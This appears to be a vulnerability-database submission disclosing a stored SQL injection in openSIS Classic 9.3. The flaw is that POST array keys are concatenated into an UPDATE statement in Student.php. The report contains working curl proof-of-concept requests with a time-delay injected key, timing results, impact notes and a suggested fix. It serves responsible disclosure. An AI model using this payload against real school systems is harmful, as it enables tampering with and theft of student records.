| عنوان | os4ed openSIS Classic (Community Edition) 9.3 SQL Injection |
|---|
| الوصف | ## Affected Software
- **Product**: openSIS Classic (Community Edition)
- **Version**: 9.3
- **Repository**: https://github.com/OS4ED/openSIS-Classic
- **Source revision**: master commit `ec86d7da2abbd0fc1b51c5cad250da043dcb6110` (HEAD at the 2026-06-02 release of 9.3; the repository has no V9.3 tag)
## Vulnerability Description
The student information save endpoint (`modules/students/Student.php`, the save action of the General Information tab) builds its `UPDATE students` statement by concatenating the **array keys** of the POST form field `students[]` into the SET clause as column names. The keys are never validated or parameterized, so an attacker can embed arbitrary SQL expressions inside a key; the injected fragment becomes part of the SET clause and is executed.
Injection and execution happen in the same request: as soon as the save request is submitted, the attacker-controlled SET expression runs with the application's database credentials. This allows an attacker to rewrite arbitrary columns of the `students` table (a key shaped like `GENDER=<expression>/*,/*/GENDER` writes the expression's result into an attacker-chosen column) and to read arbitrary data bit by bit via boolean-based time-delay injection. The written values persist in the database, which is what makes this a stored injection.
## Root Cause
`modules/students/Student.php` (the save-student branch):
```php
$sql = "UPDATE students SET ";
// ...
foreach ($_REQUEST['students'] as $column_name => $value) {
// ...
if (stripos($_SERVER['SERVER_SOFTWARE'], 'linux')) {
$sql .= "$column_name=" . "'" . str_replace("'", "''", str_replace("\'", "'", trim($value))) . "',";
} else
$sql .= "$column_name=" . "'" . str_replace("'", "''", str_replace("\'", "'", trim($value))) . "',";
// ...
}
// ...
$sql = substr($sql, 0, -1) . " WHERE STUDENT_ID='$_REQUEST[student_id]'";
if (!$error) {
DBQuery($sql);
```
`$column_name` is the key of the POST form field `students[...]`, i.e. a fully attacker-controlled string. Only `$value` gets quote-escaping here (and the value-side validation in `paramlib_validation()` only branches on known field names and validates the value itself); the key is concatenated into the SET clause at the column-name position with no whitelist and no parameterization. The assembled statement is handed straight to `DBQuery()`.
## Proof of Concept
Log in as an administrator (the student save action is a back-office function), then submit a save request whose `students[]` field name carries the injection. `<session_cookie>` is the session cookie obtained from the admin login; `<target>` is the target host.
The injected key below adds a `sleep(5)` expression and writes a marker value into the GENDER column:
```bash
curl -s -o /dev/null -w '%{time_total}\n' -X POST \
'http://<target>/Modules.php?modname=students/Student.php&include=GeneralInfoInc&category_id=1&student_id=1&modfunc=update' \
-b '<session_cookie>' \
--data-urlencode 'students[GENDER]=(select/**/if(1=1,sleep(5),0))/**/,/**/GENDER]=zdqktruebbb'
```
A benign request (uninjected key) as control:
```bash
curl -s -o /dev/null -w '%{time_total}\n' -X POST \
'http://<target>/Modules.php?modname=students/Student.php&include=GeneralInfoInc&category_id=1&student_id=1&modfunc=update' \
-b '<session_cookie>' \
--data-urlencode 'students[GENDER]=zdqkbaseaaa'
```
Expected result: the injected request takes about 5 seconds (the sleep expression executes inside the database) while the control takes about 0.2 s; afterwards the GENDER column of the target student reads `zdqktruebbb` — the written value is dictated by the injected expression and persists.
| Request | Response time |
| -------------------------------------------------- | ------------------------------- |
| Control (`students[GENDER]=zdqkbaseaaa`) | 0.192 s / 0.212 s (repeated) |
| Injected key, false condition `if(1=2,sleep(5),0)` | 0.187 s |
| Injected key, true condition `if(1=1,sleep(5),0)` | **5.197 s** (rerun **5.206 s**) |
Database state check (read-only query on the GENDER column of `students` with `STUDENT_ID=1`):
## Impact
An attacker with back-office administrative access can execute arbitrary SET expressions with the application's database credentials: rewriting any column of the `students` table (including sensitive fields such as password hashes and account-enable flags), and reading arbitrary database content bit by bit through boolean-based time-delay injection. The injected writes persist, so tampered student records stay effective across every page and report that reads them.
## Suggested Fix
Use parameterized queries/prepared statements, or validate the array keys against a whitelist of actual column names, instead of concatenating the user-controlled key into the UPDATE statement. |
|---|
| المصدر | ⚠️ https://github.com/OS4ED/openSIS-Classic/issues/475 |
|---|
| المستخدم | 360alphalab (UID 100924) |
|---|
| ارسال | 01/09/2026 07:49 AM (30 أيام منذ) |
|---|
| الاعتدال | 30/09/2026 07:51 AM (29 days later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 411869 [OS4ED openSIS-Classic حتى 9.3 General Information Tab Student.php save action students حقن SQL] |
|---|
| النقاط | 20 |
|---|